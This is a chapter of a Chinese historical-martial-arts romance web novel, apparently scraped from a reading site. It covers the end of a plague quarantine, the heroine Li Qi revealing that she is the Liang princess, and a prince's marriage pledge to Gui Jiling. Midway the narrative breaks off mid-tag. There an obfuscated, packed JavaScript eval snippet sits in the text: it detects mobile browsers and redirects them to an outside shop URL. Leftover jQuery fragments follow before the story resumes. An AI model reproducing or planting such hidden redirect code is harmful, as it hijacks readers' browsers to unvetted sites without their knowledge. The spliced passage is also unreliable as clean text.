9
路途遥远,等鬼机灵和绿意青怜带着那封信回到怀鹤乡时,天已经黑透了。
出乎她们预料的,李棋看过信、听完他们的讲述之后,非但没冲动行事,还无比的冷静。
她收起信,只看向鬼机灵问:“小鱼儿真的去了溟南城?”
鬼机灵意识到他好心做错事了,很是心虚懊恼,但还是点点头,“我是不是不该让他们去?”
李棋肯定点头,“是,你不该让他们去。”
鬼机灵情绪低落,她又问,“你还能找到那只引路蛊吗?”
鬼机灵更加不敢看李棋的眼神,以防万一,他让那只引路蛊认了萧逾为主,现在要他去找,简直就是大海捞针。
不用他回答,众人都已经知晓了答案。
青怜小声说:“小姐,劫持常胜王的人指名道姓要你拿东西去换,萧逾公子和文蕼公子除非解救常胜王失败,否则应该不会有危险吧。”
李棋连忙后退两步,“别靠我太近。”
青怜退回去,欲言又止,很是委屈。
绿意安抚抱住青怜的手臂,也看向李棋温声道:“小姐,萧逾公子和文蕼公子武功都不寻常,文蕼公子更是超乎言行举止的老练沉稳,他一定会保护好萧逾公子的。”
李棋没被安慰到分毫,她看向子瞮和沂源,“师兄,沂源哥,你们帮帮我,去把他们追回来。”
不等两人表态,她又先否定道:“不行,师兄也不能去。”
她不知道想到了什么,给自己弄得无比郁闷疲惫,“先就这样吧,等我痊愈再说。”虚虚说着,她转身就要离开,但被子瞮喊住了。
“小七,”他顿了顿,看着屋中其余人,片刻,他才说了句只有他和李棋才能听懂的话,“萧逾和文蕼身上的酒香不简单,你担心的事情没那么容易发生。”
李棋点了点头,什么都没说,转身离开了,沂源自然跟上。
他好像什么都不在乎,除了他的任务,而他这趟的任务就是保护李棋。
绿意和青怜有一瞬的犹豫,但还是跟了上去。
鬼机灵抓住也打算离开的子瞮,反手关上门,盯着他问:“那些人不是奔着梁国宝藏来的,你和小七姐姐瞒了我什么事?”
子瞮不着调笑笑,“这可就多了,毕竟你和我们只相处了半年不到。”
“子瞮!”鬼机灵第一次直呼他姓名,“都什么时候了,你还有心情开玩笑,那些人到底是什么人,他们究竟想从小七姐姐身上得到什么?”
子瞮笑意消失,他看着鬼机灵,无比认真道:“上一辈留下的恩怨纠葛,三言两语讲不清楚,知道的人太多对我们也无益,你要是真的希望小七好好的,就不要再问了。”
“那常胜王怎么办?”鬼机灵问,“小七姐姐不可能不去救他,到时候,危险的就是小七姐姐了。”
子瞮沉默了,许久,他才再次开口,“祈祷上苍让萧逾和文蕼能在小七病好之前,神不知鬼不觉救下邹杲吧。”
“什么?这哪有这么容易!”
鬼机灵还欲追问,子瞮却不欲多说,先打开门快步出去了。
“子瞮,你站住……”鬼机灵追上去没几步,就见邹瑅急匆匆赶来,和子瞮迎面碰上。
没有寒暄,邹瑅一来就抓着子瞮的手臂问阿杲出什么事了。
两人都停下了脚步,子瞮脸上一闪而过的欢喜也不复存在。
他扫过邹瑅唇上和鬼机灵类似的伤口,勉强笑了笑,道:“小灵全部都知晓,我有些累,就由小灵说给殿下听吧。”
说罢,不等两人说什么,他挣脱邹瑅的手,快步回屋并关上了门。
对于邹瑅的到来鬼机灵也是一惊,看着邹瑅和身后十多人,他连忙用女声道:“你们先站着别动。”
众人都是一惊,当即不动了,连抬起的脚都没敢放下。
鬼机灵跑去药房拿来清浊丸分给众人服下,又喊醒林府医,请他帮忙熬药。
药才刚熬好,王安和汪元菱等人也来了,一同来的,还有一个头带垂纱帷帽遮面的女人,看身形,是江沁月没错了。
见状,鬼机灵索性喊绿意青怜帮忙拿来更多的碗,给来人都分了一碗汤药,等他们都喝下,才邀请几人进屋。
李棋也来了,她和之前一样,裹得严严实实的在门口,和众人保持着一丈远的距离。
江沁月在一群人中是长辈,她没开口,一众小辈也不好多说什么。
她并未撩起帷帽上的绡纱,透过帷帽上的绡纱,依稀能看到她的双眸还蒙上了一条墨绿色的绡纱。她就那么透过层层遮挡,精准‘望’向李棋的方向。
李棋知晓她画技很厉害,但关于她的眼睛能看到与否,江湖众说纷纭,李棋没和她接触过,也不确定。
李棋也看向她,两人就这么无声较量着。
但是很快,江沁月什么也没说,先移开别过头,‘看’向众人道:“阿茭的事你们都不要再管。”
邹瑅第一个不干,“江家主,您这是什么意思?”
江沁月转而‘望’向他,还算温和耐心说:“字面意思。阿茭是我故去的姐妹的儿子,我会亲自去救他,然后带着他去虚无岛解毒,至于你们,”
她一一扫过子瞮和李棋,“该做什么做什么,没事做就都回家去。”
说罢,也不给众人说什么的机会,起身就要离开。
李棋站在门口,见人过来,没有让开,而是伸出手拦住了她,“您不久之前受过严重内伤吧。”
李棋说得肯定,汪元菱见状,看看江沁月,又看向李棋,还是弱弱点了点头,小声说:“姑姑之前为了救阿茭哥哥,的确受了伤还吐了血…姐姐,我姑姑的伤是很严重吗?”
不等李棋说什么,江沁月冷声道:“我的身体我自己清楚,不劳你挂心。元菱,不是要去救阿茭,走吧。”
说罢,她直接无视李棋,大步上前。
虽然都服下了预防的药物,但李棋也怕离得太近了传给她们,也只得让开。
但她还是继续劝道:“江家主,他们指名道姓要我去,您要是知道内情,不妨和我说说,若是不知道,就更不要前往,以你现在的状态,只怕非但没法从那些人手中救出邹杲,还会导致浩然山庄的安宁祥和不复存在。”
江沁月停下了脚步。
她回过头上下打量了李棋一眼,嗤笑道:“不愧是毒赋教出来的,危言耸听这一套也用得炉火纯青。”
李棋一愣,随即耸肩笑笑,没反驳什么。
江沁月又问:“听你这意思,你有把握救下阿茭,再全身而退?”
李棋笑着回答,“是想到一个办法,有大概两成的把握吧。”
江沁月轻笑出声,将帷帽外层的薄纱撩到两边固定住,用还有一层遮挡的双眸‘注视’了李棋片刻,像是下定决心,道:“你跟我来吧。”
又对身边几名随从吩咐说,“看好小姐,就在此处等我。”
说罢,脚尖轻点,鸟一样翩翩而起,飞到屋顶之上,很快消失不见。
“沂源哥,你别跟上来,我和前辈说几句话就回来。”李棋先对欲跟上的沂源说罢,这才不急不缓跟上。
望着两人远去的背影,几人面色各异,也不知道都在想些什么。
鬼机灵是最想跟上去的,但他被子瞮不动声色抓住了,两人正较劲,邹瑅又看向他,无奈,他只能作罢。
*
那一晚,李棋和江沁月说了什么,除了两个当事人,再没人知晓。
也是那一晚之后,一切好像没发生过一样,大家各司其职、按部就班,日复一日。
时光飞逝,眨眼一个月过去,封锁近两月的怀鹤乡终于解封,除了极少部分年老体衰的病患,其余病患通通痊愈,即将返回故地,重建家园。
至于那百余名年迈的病患,也早已经安置妥当,由林府医等人照料,直至康复。
今天,就是怀鹤乡劫后余生的乡民们返回家乡的大好日子。
怀鹤乡城池在怀鹤乡军民的齐心协力下,已经焕然一新,一派欣欣向荣之色。
邹瑅作为利州安抚司尉自然是要到场的,除了他,还有远从鄂阳而来,接替他管理利州的新任利州郡郡守兼安抚司尉。
李棋早早就换上了她酷爱的橙红色的华丽衣裙,这是邹瑅命人送来的,她、鬼机灵、绿意、青怜都有,只是颜色各异,款式也略有区分,布料上乘,但做工一般,明显是赶制出来的。
辰时,开放城门,李棋、鬼机灵等医者受邀和子瞮、府医林旭等人去到城门口迎接邹瑅等官吏。
随着邹瑅和新任郡守及各城池城尉进城,很快,来往通商的、凑热闹的,也都络绎不绝,一派和乐,欣欣向荣之态。
一行人在府医林旭和子瞮的带领介绍下,先来到了钱宅。
钱宅拥挤依旧,却不再是一派死气沉沉的模样。
还未靠近,众多百姓就来到门口迎接。
听邹瑅和新任利州郡守说了些场面话,一行人正要离开,去往早已安排好的酒楼,就听一老者喊道:“请李姑娘留步。”
在场被称为李姑娘的只有李棋一人。
虽只是叫她,但邹瑅停下了脚步,其他一众官员也不可能先走。
众人纷纷停下脚步,回头看向声音传来的方位。
是一个白发苍苍的老头,老头虽穿得破烂,却儒雅非凡,周身散发出一种岁月沉淀出的厚重气息。
老头也的确不是普通人,他本是赵国丞相,赵国皇帝被擒时,他本欲以身殉国,被邹瑅拦下后,成武帝又礼贤下士,亲自到他的住所邀请他去往鄂阳,为大嬴效力。
二人一番交谈,老头虽拒绝了成武帝的招揽,却出面对好几位还欲拼死抵抗的赵国官员将领进行游说,避免了一场流血牺牲。
赵地稳定后,成武帝班师回朝,老头也在兵士的护送下回到了家族故地,也就是怀鹤乡,用成武帝赐予的金玉钱财开设了一间学堂,无偿教导附近的孩童读书写字。
邹瑅一眼认出了他,有些惊喜,“穆老先生!”
穆老翁点点头,亲切喊了声“殿下。”
邹瑅连忙上前搀住他,不悦问身后人:“我不是让你带人将花甲以上老人转移到城郊别院妥善安置吗?”
下属踌躇着还不知道该如何解释,就听穆老翁说:“殿下,是老朽还有未尽心事,不愿离去。”
邹瑅闻言疑惑转头看向他,“未尽心事?”
穆老翁看向李棋等人,“李姑娘,纪姑娘,子瞮大人,赵老哥,还有各位医者,若非你等呕心沥血的付出,怀鹤乡万余百姓早已魂归九泉,如此大恩大德,怀鹤乡众乡民没齿难忘。”
此话一出,不少人附和,甚至有人当场就要带领大家跪下给他们磕头。
几人连忙上前将为首的人拦住,李棋也连忙出言道:“救死扶伤是医者本分,各位不必挂怀。”
子瞮也道:“若非陛下及时让三殿下送来药材和食物,我等也束手无策。”
众人闻言安静一些,穆老翁却摇摇头,坚定道,“除却子瞮大人和林府医,诸位皆不食朝廷俸禄,甚至有好几位还是被迫而来,却在李姑娘和纪姑娘还有子瞮大人的引领下,废寝忘食,救我等于水火,李姑娘为此还染上疫病,如此大恩大义,怀鹤乡万余乡民无以回报,我等欲筑庙立石身日夜以香火供奉诸位,”
众医者闻言又惊又愣,他们大多都是籍籍无名之辈,虽有一颗悲悯之心,却碍于生计,并未行什么善举,更别说尽医者本分,谁料因祸得福。
郡守等官员也是一惊,想说不至于如此,但众百姓纷纷响应附和,邹瑅又没发话,他们也不好阻止什么。
却听邹瑅笑道,“原是这事,穆老先生尽管放心,我已命人快马加鞭奏报父皇,不日,父皇对各位医者的嘉奖就会送到。”
穆老翁坚持摇摇头,“这不是一回事。”
他继续看向李棋,“众多恩人,唯有李姑娘的姓名身世成谜,还望李姑娘留下姓名生辰,好让我等日夜供奉感恩。”
闻言,众人纷纷看向李棋,若干怀鹤乡乡民纷纷出声,希望李棋告诉他们她的真实姓名。
邹瑅见状也笑道:“既然是民意所向,李姑娘便留下姓名吧。”
众人齐声高呼,“请李姑娘留下姓名!”
李棋面露难色,看起来很是为难,李棋身边几个和她亲近的人也没好到哪里去,也不知道在顾忌什么。
新任郡守见了,带着怀疑的笑容试探道:“李姑娘这般遮掩,是有什么顾忌?”
李棋寻声看他一眼,又转而看向邹瑅,脸上更添踌躇。
邹瑅不解,又看向她两侧的纪灵和子瞮,希望能从他们口中得到答案。
两人却都不语,脸上的为难踌躇也没比李棋少多少。
穆老先生看着李棋又道:“李姑娘,当今君王爱才好士,对老朽一个战败国的无能老臣尚且能礼贤下士,何况是姑娘这样年轻又有真才实学的神医呢。”
邹瑅闻言连忙道:“是啊,李姑娘有什么苦衷不妨说来,我定明奏父皇。”
鬼机灵松动了,她抓住李棋的手臂,小声喊道:“姐姐。”
子瞮也看向李棋,像是在鼓励她。
李棋顿了顿,一咬牙,抬头看向邹瑅等人,“我名李蕲。”
此话一出,众百姓还在欢喜知晓了恩人的名讳,七嘴八舌念叨夸赞着,穆老翁、邹瑅以及郡守等人则都露出了难色。
郡守问:“不知具体是哪个字。”
鬼机灵欲言又止,但见子瞮看向李棋没有说话,他这才忍住了。
李棋深呼一口气,勉强笑着答道:“荀子《儒效》篇中‘故外阖不闭,跨天下而无蕲’一句中的‘蕲’字。”
郡守大惊,颤抖着手指着李棋问:“你难道就是梁国公主李蕲?”
此话一出,众百姓也是一愣,甚至有人下意识退离李棋了几步。
李棋脸上笑容勉强,鬼机灵和绿意等人正要为李棋抱不平,就见一个抱着尚在襁褓之中的幼儿的妇人上前抓住李棋的手,“我不知道什么梁国公主,只知道没有李姑娘,就没有我和新芽的今天。”
此抱着幼儿的妇人正是赵荷花,也就李棋剖腹接生的那位难产的孕妇,她怀中才刚满月咿呀笑着的幼儿名为新芽,是李棋取的,如今也才两个月不到。
新芽一看到李棋,就张开嘴巴笑,笑得眉眼弯弯,啊呜咿呀叫着,就好像是在喊李棋一样。
李棋眼眶有些酸涩,低头看着赵荷花真挚的神色,眼泪直接就掉了下来。
“你怎么会来这?不是让你好好休养吗?”
赵荷花踮起脚,一边用粗糙的手轻柔抚去李棋脸上的泪水,一边含泪笑着说:“李姑娘,你昨晚说要走,我不知道你的姓名家世,更没能力去找你,这一别可能就再见不到,我就想带着新芽远远再见你一面,送送你……”
她没有继续说下去,陆续有人从人群后面挤到前面来,转头看过去,李棋昨晚特别关照过的都在其中。
不少妇人小孩还有老者都没了依靠,李棋放心不下他们,又没有别的办法,只能慷他人之慨,将娘亲和师父给她金饼都换成五铢钱,分给了他们。
昨夜已经告过别,李棋一再叮嘱,让他们好好休养,尤其是即将生产和刚刚生产的几位妇人,以及几位迟暮老人。
谁知道,他们竟然悄悄来到钱宅,藏在人群之中,只为再见她一面,送送她。
众多妇孺老人以及部分男子将李棋团团围住,他们个个面容真挚,无一不在说着感激她的话。
郡守等官员都是一愣,一个个欲言又止,纷纷看向邹瑅。
“殿下,”有官员似乎想说什么,但还没说出口,就听穆老翁掷地有声说,“殿下,君子论迹不论心,无论李姑娘是何身份,她和纪姑娘还有子瞮大人带领九位医者救了怀鹤乡万余人的壮举都可歌可泣。”
邹瑅望向李棋的方向,见被一同围绕着的纪灵和子瞮脸上都是笑意,他点点头,“穆老先生所言极是,相信父皇知晓后,也一定会赞赏李姑娘的大义的。”
邹瑅都这么说了,一众官员再有异议,也都识趣的闭上了嘴巴。
另一边,李棋也终于调整好情绪,她在鬼机灵等人的帮助下,安抚住众人,脱身来到邹瑅等官员面前。
“三皇子殿下,隐瞒身份的确是我之过,但我来怀鹤乡,只为尽医者本分,别无他意……”
不等李棋再解释,邹瑅笑着止住她,“李姑娘不必多说,你对怀鹤乡的付出我都看在眼里。”
李棋勉强笑笑,就听邹瑅又说,“如穆老先生所言,父皇为天下安稳太平,向来珍惜人才,相信父皇知晓了,也只会赞扬你的大义、对你大加赞赏,而非追究你的身世。”
余衡适时站出来,“殿下,时间不早了,各位大人想必也饿了,珍馐楼已经备好了吃食,我们这就前往吧。”
邹瑅闻声点点头,看向穆老翁,“穆老先生,您同我们同往吧。”
他看着其余百姓,大声说:“大家且在此处等候,稍后会有神武军来为大家分发肉食,待吃完,我再亲自派人送大家回家安顿。”
此话一出,众人又是一阵欢喜欢呼。
在众百姓或欢喜或不舍的目送下,李棋等人跟随邹瑅等官员的队伍,去往最后一站,也就是珍馐楼。
在一楼大堂一通应酬,等众人散去,但李棋等人又陆续进了二楼的包厢,以防万一,青怜和绿意以及邹瑅的八个亲信还分散在他们的包厢外守候。
进入包厢,关上门,几人除了子瞮和沂源,都是长长呼出一口气,毫无形象摊开在椅子上。
李棋一边用手给自己扇风,一边感叹,“装模作样可真累。”
沂源不语,只倒了两杯热茶,分别递给李棋和鬼机灵。
鬼机灵挨着李棋,枕着李棋的手趴在桌上,有气无力说着“谢谢沂大侠,”他懒懒接过,又附和李棋说,“是啊,真的好累,我刚刚还没吃多少,肚子还饿呢。”
邹瑅接过沂源递给他的整壶茶水,一边给自己和子瞮倒茶,一边赞同笑道,“我与李姑娘还有小灵英雄所见略同哈哈。”他将茶递给坐得板正的子瞮,“子瞮,你不累吗?”
子瞮笑了笑,不等他说什么,李棋先替他说道:“不用管他,他从小都这么过来的,早都习惯了。”
鬼机灵朝子瞮举起大拇指,“翩翩君子。”
子瞮哭笑不得,起身给大家盛饭,“不是说没吃饱,来,继续吃吧。”
此话一出,几人都沉默了,早就定好的,吃完这一顿也意味着要分别了。
抓走邹杲那些人似乎是急了,早在半月前,就陆续送来了书信催促,如今,已经有六封催促的信件了。
都说事不过三,如今已经过了两次三,李棋要是再不去,难免他们狗急跳墙。
邹瑅则早就接到了成武帝喊返的书信,知晓邹珣造反已经被镇压后,他也是再三找借口。
但如今,新任郡守已经到任,堤坝的修建也交给张乔,且成武帝又陆续调了三万士兵来帮助利州修建堤坝,他也再找不到理由待下去了。
子瞮自然要跟着他回到鄂阳,此番他治理疫病有功,仕途上定然能更上一层楼。
还未确定行程的是鬼机灵,一方面是邹瑅和爷爷,一方面是李棋,尽管他已经想了很久,如今还是做不出决定来。
见鬼机灵一脸愁容,邹瑅也连忙起身,给几人盛汤,他不再避讳,直接将第一碗递给了鬼机灵。
“小灵,先喝点鸡汤。”
鬼机灵抬首看着他,伸手接住,却久久没有收回,邹瑅也没立刻放手。
他不动声色安抚似的碰了碰鬼机灵的手背,这才收回手,若无其事盛第二碗递给李棋。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907299|188740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“谢了。”李棋单手接过,别开勺子就着碗喝了一口,随即扭头对鬼机灵说好喝,让他快尝尝。
鬼机灵勉强笑了笑,这才用勺子舀了一小勺,才抿了一口,就装出惊喜的模样,回应李棋说好喝。
李棋放下碗,心疼摸摸他的脑袋,看向邹瑅,“殿下,你与小灵的婚事,你准备何时提上日程?”
虽然两人的事不是秘密,但突如其来的直白让所有人都是一愣。
鬼机灵最先反应过来,连忙抓住李棋,“姐姐,你说什么呢,我和殿下既无媒妁之言,更无父母之命,何来婚事一说。”
他本意是让李棋不要再说这个,谁料邹瑅听了,更加愧疚。
“小灵。”邹瑅叫住他,起身越过中间的子瞮,去到鬼机灵面前。
他当众握住鬼机灵的手,另一只手从怀中掏出一个用锦布包得严严实实的物件。
随着他缓缓打开,一个金镶玉手镯露出了真面目。
手镯赫然是上次被朱轶围杀、逃亡时摔碎的那个,也是鬼机灵说喜欢、让修好再送给他那个。
外边的黄金整体是两只奔向彼此的玄鸟,它们的头首交颈厮磨,尾部则相缠相交,断裂处都被玄鸟的爪子巧妙的箍住,和镯子中的两抹亮色相得益彰、互相映衬,似是伴生守护。
虽不复玉镯原本的清雅秀丽,却也更加的奢华缱绻,哪怕是不知情的也能一看就知道,这是某个家世非凡的男子送给某位女子的定情信物。
“你让我修好再送给你的镯子,我找人修好了,”邹瑅温柔笑着询问,“我给你戴上?”
鬼机灵看看李棋,又看看子瞮,见两人脸上都是鼓励的笑容,他这才看向邹瑅,压抑住激动,连连点头,声音沙哑应了声好。
尺寸刚刚好,完全是按照鬼机灵的手腕大小制作的。
见鬼机灵露出惊讶的神色,邹瑅有些羞涩窘迫,“我第一次见你就觉得你美好鲜活,你送我柿子前,我其实一直在看你的手…”
李棋哧笑出声,“想不到殿下还挺坦率。”
鬼机灵的脸也有些红,当即把手抽了出来,背过身去不看他。
邹瑅更加窘迫,也怕她真的生气,小步跑到她侧面,“我知道这种行为很下流可耻,但我的确克制不住自己的冲动和渴求,”
他连忙又说,“我从没想过侮辱你,也只是回忆你手腕的大小,来打磨我想送给你的手镯,以此度过那些漫长又疲惫的夜晚,”
生怕他说出更多让人难为情的话,鬼机灵连忙伸手抵住他的嘴巴,“好了,你不要再说了,回去坐着好好吃饭。”
邹瑅先是乖乖点头,后又坚定摇头,抓住他的手后退几步,面向李棋和子瞮说:“李姑娘,子瞮,我知晓你们把小灵当做亲妹妹一样疼爱,小灵唯一的爷爷远在黔地深山之中,我暂时没法携小灵去拜见他老人家,只得请你们做个见证。”
李棋挪了挪椅子,面向两人端坐,俨然是以鬼机灵长辈的身份。
“什么见证,你说来看看。”
子瞮面容严肃,虽没有言语,却也看着两人,等待下文。
邹瑅这才道:“我已经写信将我对小灵一见倾心的事告知父皇母后与皇祖母,虽还未收到回信,但我意已决,无论我之后是什么身份,只要小灵愿意,我此生的正妻都只会是小灵一人。”
此话一出,三人都是一惊,鬼机灵这个当事人尤甚。
“殿下,我……”鬼机灵有顾虑,后面的话没能说出口,邹瑅先扯下腰间象征他皇子身份的金牌塞到鬼机灵手里,“这是我的身份令牌,也是我当下能给你的最有用的信物。”
相比之下,李棋就没那么多顾虑了。
她直白问:“若你成了下一任皇帝呢?”
邹瑅很是坚定,“那小灵就是下一任皇后!”
李棋也顿住了,沉默了许久没有再开口。
子瞮看看几人,沉沉开口,“殿下,你知道以小灵的身体状况,很难为你孕育子嗣吗?”
鬼机灵脸上笑意全无,当场僵住。
“子瞮!”李棋一惊,想拦,但已经来不及了。
邹瑅也是一呆,当即紧张追问,“什么意思?小灵怎么了?”
不等子瞮再说什么,鬼机灵先惊慌将手里的身份令牌塞回邹瑅怀中,当即就挣脱被邹瑅牵着的手,转身欲逃离。
但邹瑅反应更快,连带身份令牌抓住她的手,直接将她拥入怀中。
“小灵,小灵!吸引我的是你这个人,不是其他。”邹瑅在鬼机灵耳边小声说着,“比起子嗣,我更关心你的身体,只要有你陪伴在身边,我可以不要子嗣,”
鬼机灵连连摇头,“不,你身为皇子,不可能不要子嗣,”
邹瑅连忙道:“颍王,我的伯父,他一辈子就只有一个女人,颍王妃死后,皇祖父曾再三下旨为他赐婚,但都被他拒之门外,他能让皇祖父为他破例,为了你,我也能说服父皇的,大不了我被贬为庶人,我们寻一片山野,过……”
不等他说完,鬼机灵连忙摇头打断他,“不,你不能被贬为庶人,你要…”他一顿,随即回头含泪看着邹瑅又说,“我不奢求你正妻的位置,也不奢求你的偏宠,我……”
眼见两人越说鬼机灵越激动、浑身颤抖得厉害,李棋连忙起身,快步上前将鬼机灵扯到身后护着。
邹瑅还欲追上来,但李棋既是纪灵爱戴的姐姐,也是阿杲的心上人,他只得作罢。
“殿下,你的决心我和小灵都看到了。”李棋冷静说,“但小灵说得对,你非但不能被贬为庶人,还要努力争取那个位置,这样,你才能给小灵更好的生活,邹杲…还有子瞮,也能活得轻松些。”
提到邹杲和子瞮,邹瑅也渐渐冷静下来。
他越过李棋,看向纪灵,见她紧紧握着他的身份令牌,才笑着说,“好,小灵,我向你保证,只为了我自己,我就决计不会做傻事。”
他又说:“但也请你相信我,我一定会恳求父皇和皇祖母允许我明媒正娶你为我的妻子,若我侥幸从父皇手中接过了重任,无论下一个继承人是谁,都只能是养在你膝下的孩子。”
李棋和子瞮同时开口,“殿下慎言!”
邹瑅闻言不再说这个话题,他看向李棋,“李姑娘,阿杲与我情同手足,但我也不能违抗父皇的命令,亲自去救他,”
不等他说完,李棋道:“这你不用担心,我会救出他。”
邹瑅摇头,又看向鬼机灵,“不,我的意思是,我知道小灵擅蛊,”
闻言,鬼机灵又是一惊,却听邹瑅温柔说:“小灵,我知道你还隐瞒了我一些事情,也知道大概是什么。”
“你相信我,父皇对阿杲的关爱不是作假,你若能帮助李姑娘救出阿杲,并护送他到虚无岛解了毒,父皇知晓后,只看在阿杲的面上,也会对你多一分喜欢。”
“所以,你再辛苦些时日,和李姑娘再跑一趟,救下阿杲,然后和健全的阿杲一同再来鄂阳,好吗?”
他越说,几人越沉默,等他说话,几人一时无话,久久说不出话来。
不知道过了多久,沂源用手里的筷子不小心撞了下碗碟,发出清脆的一声,四人才反应过来。
邹瑅回到座位上坐下,勉强笑着说:“先吃饭吧,菜都冷了。”
闻言,子瞮和李棋也反应过来,一个摆正椅子,一个拉着鬼机灵坐下,又分别给鬼机灵夹了不少菜。
鬼机灵一手攥着邹瑅的身份令牌,一手拿着筷子,只是闷头吃,全程没抬头看邹瑅一眼,其实他也没吃多少,好半天,碗里的食物都没见少。
邹瑅欲言又止,但始终没敢出声,见状,子瞮以兄长的口吻轻声提醒:“小灵,好好吃饭。”
鬼机灵动作一顿,李棋轻柔摸摸他的脑袋,算是安抚。
片刻,鬼机灵抬起头来,看向邹瑅,话还没说出口,眼泪先掉了出来。
“小灵,”邹瑅手忙脚乱,想起身给她擦去眼泪,但李棋已经先动了手,他也被子瞮按住。
“殿下,”鬼机灵声音有些哽咽,话到嘴边,还是没敢说出口,他顿了又顿,才挤出恬淡的笑容,保证说,“殿下,我会和小七姐姐一起救出常胜王,再把他安然无恙地送到鄂阳的。”
邹瑅也笑了,“嗯,我相信你!”
他叮嘱又说:“你也一定要照顾好自己,你武功没那么好,别往前冲,在后方接应才能发挥出你最大的能力。”
说着说着,他的声音也哽咽了,眼中更是蓄满了水珠。
好像这一别是生离死别一样。旁观的李棋赶紧在心中呸呸呸,不做多想。
子瞮欲言又止,最终碍于身份,只是拍拍邹瑅的手臂,以此算作安抚。
还是李棋坚定道:“好了,又不是生离死别,不久之后我们就能在鄂阳重聚了,有什么好哭的。”
她话音一转,盯着邹瑅又说:“既然你已经决定要娶小灵为妻,那你就做好准备,什么嫁妆、聘礼的,你也不忍心爷爷一把年纪还大老远送嫁妆到鄂阳来吧?”
鬼机灵脸上的泪还未抹去,而言脸又红透了,窘迫不已。
邹瑅的脸也红,却笑道:“的确不忍心,若李姑娘能见到爷爷,劳烦李姑娘转告他老人家,他人来就已经最好的了,其余的我都会准备好。”
“殿下!”鬼机灵赶忙出声打断邹瑅,让他别再说。
气氛终于不再死气沉沉,五人除了沂源,虽各怀心事,却都笑意盈盈一起吃完了这顿饭。
*
吃完饭,收拾好行李,一行人一同骑马出了怀鹤乡的城门。
怕越说越舍不得离开,邹瑅和子瞮道完别,又深深看了一眼,随后一扬马鞭,头也不回扬长而去。
“走吧,小灵。”李棋对鬼机灵说罢,牵动缰绳,朝浩然湖而去。
江沁月已经在浩然湖边备好了船,只待她们到达,立刻就能登船出发。